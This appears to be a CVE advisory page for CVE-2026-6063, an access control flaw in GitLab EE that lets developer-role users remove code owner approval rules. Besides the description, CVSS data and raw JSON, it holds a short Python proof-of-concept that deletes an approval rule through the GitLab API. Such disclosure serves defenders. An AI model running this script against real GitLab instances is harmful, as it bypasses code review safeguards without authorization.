Security Vulnerability Report
中文
CVE-2026-6063 CVSS 4.3 MEDIUM

CVE-2026-6063

Published: 2026-05-14 06:16:24
Last Modified: 2026-05-14 16:20:43

Description

GitLab has remediated an issue in GitLab EE affecting all versions from 11.10 before 18.9.7, 18.10 before 18.10.6, and 18.11 before 18.11.3 that under certain conditions could have allowed an authenticated user with developer-role permissions to remove code owner approval rules from merge requests due to improper access control.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

GitLab EE 11.10 至 18.9.7 之前版本
GitLab EE 18.10 至 18.10.6 之前版本
GitLab EE 18.11 至 18.11.3 之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Concept for CVE-2026-6063 # Description: Remove code owner approval rules via API as a Developer role. token = 'YOUR_GITLAB_PERSONAL_ACCESS_TOKEN' gitlab_url = 'https://gitlab.example.com' project_id = '123' merge_request_iid = '456' approval_rule_id = '1' # ID of the code owner rule to remove headers = {'PRIVATE-TOKEN': token} # API endpoint to delete an approval rule url = f"{gitlab_url}/api/v4/projects/{project_id}/merge_requests/{merge_request_iid}/approval_rules/{approval_rule_id}" response = requests.delete(url, headers=headers) if response.status_code == 204: print("[+] Successfully removed approval rule.") else: print("[-] Failed to remove rule. Status code:", response.status_code)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6063", "sourceIdentifier": "[email protected]", "published": "2026-05-14T06:16:24.307", "lastModified": "2026-05-14T16:20:43.240", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab EE affecting all versions from 11.10 before 18.9.7, 18.10 before 18.10.6, and 18.11 before 18.11.3 that under certain conditions could have allowed an authenticated user with developer-role permissions to remove code owner approval rules from merge requests due to improper access control."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/05/13/patch-release-gitlab-18-11-3-released/", "source": "[email protected]"}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/596332", "source": "[email protected]"}, {"url": "https://hackerone.com/reports/3649087", "source": "[email protected]"}]}}